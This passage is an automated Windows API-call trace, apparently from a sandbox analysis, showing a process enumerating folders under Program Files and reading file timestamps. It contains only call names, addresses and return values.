lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.262] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.262] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.262] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.262] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.262] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.263] CloseHandle (hObject=0x174) returned 1 [0077.263] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.263] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.263] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.263] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.263] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.264] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.264] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.264] CloseHandle (hObject=0x174) returned 1 [0077.264] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.264] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.264] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.264] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.264] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.264] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.264] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.264] CloseHandle (hObject=0x174) returned 1 [0077.269] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xab6a25e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab6a25e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3c000a36, cFileName=".", cAlternateFileName="")) returned 0x549810 [0077.270] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.270] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.270] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.270] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.270] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.270] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.270] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.270] CloseHandle (hObject=0x174) returned 1 [0077.271] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.271] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.271] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.271] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.271] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.271] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.271] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.271] CloseHandle (hObject=0x174) returned 1 [0077.274] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.274] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.274] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.274] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.274] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.274] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.274] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.274] CloseHandle (hObject=0x174) returned 1 [0077.274] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.274] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.274] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.274] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.274] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.275] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.275] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.275] CloseHandle (hObject=0x174) returned 1 [0077.275] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.276] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.276] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.276] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.276] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.276] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.276] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.276] CloseHandle (hObject=0x174) returned 1 [0077.277] GetFileType (hFile=0x174) returned 0x1 [0077.277] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.277] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.277] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.277] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.277] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.277] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.277] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.277] CloseHandle (hObject=0x174) returned 1 [0077.281] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.281] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.281] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.281] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.281] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.281] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.281] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.281] CloseHandle (hObject=0x174) returned 1 [0077.282] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.282] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.282] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.282] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.282] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.282] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.282] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.282] CloseHandle (hObject=0x174) returned 1 [0077.283] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.283] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.283] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.283] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.283] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.283] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.283] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.283] CloseHandle (hObject=0x174) returned 1 [0077.284] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.284] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0077.284] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0077.284] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0077.284] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0077.284] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0077.284] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0077.285] CloseHandle (hObject=0x174) returned 1 [0077.285] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0077.293] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xab6c8740, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab6c8740, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3c000a36, cFileName=".", cAlternateFileName="")) returned 0x549810 [0077.302] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xab6ee8a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab6ee8a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3c000a36, cFileName=".", cAlternateFileName="")) returned 0x549810 [0077.312] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xab714a00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab714a00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3c000a36, cFileName=".", cAlternateFileName="")) returned 0x549810 [0077.323] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xab714a00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab714a00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3c000a36, cFileName=".", cAlternateFileName="")) returned 0x549810 [0077.332] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xab73ab60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab73ab60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3c000a36, cFileName=".", cAlternateFileName="")) returned 0x549810 [0077.343] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xab760cc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab760cc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3c000a36, cFileName=".", cAlternateFileName="")) returned 0x549810 [0077.357] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xab786e20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab786e20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3c000a36, cFileName=".", cAlternateFileName="")) returned 0x549810 [0077.373] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xab7acf80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab7acf80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3c000a36, cFileName=".", cAlternateFileName="")) returned 0x549810 [0077.385] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xab7acf80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab7acf80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3c000a36, cFileName=".", cAlternateFileName="")) returned 0x549810 [0077.393] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xab7d30e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab7d30e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3c000a36, cFileName=".", cAlternateFileName="")) returned 0x549810 [0077.398] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xab7d30e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab7d30e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3c000a36, cFileName=".", cAlternateFileName="")) returned 0x549810 [0077.407] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xab7f9240, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab7f9240, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3c000a36, cFileName=".", cAlternateFileName="")) returned 0x549810 [0077.418] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xab7f9240, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab7f9240, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3c000a36, cFileName=".", cAlternateFileName="")) returned 0x549810 [0077.426] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa108fe2a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xab81f3a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab81f3a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3c000a36, cFileName=".", cAlternateFileName="")) returned 0x549810 [0077.433] GetFileType (hFile=0x198) returned 0x1 [0077.439] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xab845500, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab845500, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3c000a36, cFileName=".", cAlternateFileName="")) returned 0x549810 [0077.445] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xab845500, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab845500, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3c000a36, cFileName=".", cAlternateFileName="")) returned 0x549810 [0077.452] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Internet Explorer\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xab86b660, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab86b660, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b000c37, cFileName=".", cAlternateFileName="")) returned 0x549790 [0077.457] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Internet Explorer\\en-US\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xab86b660, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xab86b660, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3b000c37, cFileName=".", cAlternateFileName="")) returned 0x549750 [0077.458] GetFileType (hFile=0x1f0) returned 0x1 [0077.464] FindFirstFileA (in: 